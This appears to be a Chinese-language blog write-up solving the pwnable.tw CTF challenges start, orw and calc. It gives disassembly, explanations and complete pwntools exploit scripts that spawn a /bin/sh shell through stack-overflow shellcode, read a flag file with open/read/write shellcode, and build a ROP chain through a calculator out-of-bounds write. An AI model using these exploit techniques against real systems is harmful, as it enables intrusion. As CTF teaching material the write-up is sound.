0%

【Pwn#0x00】pwnable.tw-start/orw/calc writeup

start

是我太年轻了,第一题做了一小时半才拿到flag……
首先一看,保护全关的32位程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ objdump -d -M Intel ./start 

./start: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d
8048066: 31 c0 xor %eax,%eax
8048068: 31 db xor %ebx,%ebx
804806a: 31 c9 xor %ecx,%ecx
804806c: 31 d2 xor %edx,%edx
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret

0804809d <_exit>:
804809d: 5c pop %esp
804809e: 31 c0 xor %eax,%eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80

有3个syscall,一个write把一个字符串写到1,一个read从0读入字符到栈上,一个exit退出。显然read这边有个栈溢出漏洞,可以把返回地址覆盖掉。

首先想到直接在返回地址后面写一段shellcode执行execve(“/bin/sh”, 0, 0),想盲打打中栈地址。但是试了几次发现即使是32位的程序,也有至少19个二进制位的随机变化,要十几个小时才能打中,于是算了。
然后想ROP试试,但是怎么想也想不出方法。
最后想到重新执行的思想,我可以重新执行write和read,把栈上的栈地址(嗯?)泄露出来,这样就可以把控制流精准控制成我的shellcode了。

然后终于做出来了,你说我怎么老是最后才想到重新执行这种方法……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.arch = 'i386'

# p = process("./start")
p = remote("chall.pwnable.tw", 10000)

payload = b'a' * 0x14
payload += pack(0x08048087, 32)

p.recv()
p.send(payload)
mes=p.recv()
print(mes)

stack = unpack(mes[0:0+4]) - 4
shcode_addr = stack + 0x14 + 4
print(hex(stack))

payload = b'/bin/sh' + b'\x00'*13
payload += pack(shcode_addr)
payload += asm(f'''
mov eax, 11
mov ebx, {stack}
mov ecx, 0
mov edx, 0
int 0x80
''')

p.send(payload)
p.interactive()

orw

程序会读入一段shellcode并执行,并且限制syscall只能调用orw。
先用read读入/home/orw/flag,然后orw就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.arch = 'i386'

# p = process(["strace", "./orw"])
p = remote("chall.pwnable.tw", 10001)

buf_addr = 0x0804A0C0

payload = asm(f'''
mov eax, 3
xor ebx, ebx
mov ecx, {buf_addr}
mov edx, 20
int 0x80

mov eax, 5
mov ebx, {buf_addr}
xor ecx, ecx
xor edx, edx
int 0x80

mov ebx, eax
mov eax, 3
mov ecx, {buf_addr}
mov edx, 50
int 0x80

mov eax, 4
mov ebx, 1
mov ecx, {buf_addr}
mov edx, 50
int 0x80
''')

print(p.recvS())
p.sendline(payload)
p.send(b'/home/orw/flag')
p.interactive()

calc

除了PIE,其他保护全开。
是一个计算器,将读入的表达式转换成逆波兰表达法之后,用栈进行求值。

主要漏洞在于,在利用栈进行求值的时候,这个存数字的栈用[0]存储栈的高度,用[1]及以上空间存储数字。
所以当我输入 +1 的时候,这个1将会直接被加到栈的高度上,之后就可以通过修改栈高度+构造表达式。来达成栈以上地址任意读写(实际只用到了任意写)。

遇到了两个坑,一是写入一个数字的时候,比这个数字低位的数字将会受到影响;二是运算数不能为0。

前者利用倒过来写入(从上往下写)解决,后者我利用构造表达式解决(后来发现了更简单的方法,由于是将运算数与”0”进行strcmp来判断的,我可以输入000来表示0)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.arch = 'i386'

# p = process(["strace", "./calc"])
p = remote("chall.pwnable.tw", 10100)

read_addr = 0x0806e6d0
buf_addr = 0x080ecf00

int_0x80 = 0x08070880
sh_str = 0x08051ce9
pop_eax = 0x0805c34b
pop_ecx_ebx = 0x080701d1
pop_edx = 0x080701aa
pop_3 = 0x080483ac

# 360 read
# 361 0
# 362 buf
# 363 10

# 364 pop_eax
# 365 11
# 366 pop_ecx_ebx
# 367 0
# 368 sh_str
# 369 pop_edx
# 370 0
# 371 int_0x80

payload = f'''+371+{int_0x80}/1-{int_0x80}
+370+{pop_edx}
+368+{buf_addr}/1-{buf_addr}
+367+{pop_ecx_ebx}
+366+11
+365+{pop_eax}
+364+10
+362+{buf_addr}/1-{buf_addr}
+361+{pop_3}
+360+{read_addr}
'''.encode('ascii')

print(p.recvS())
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()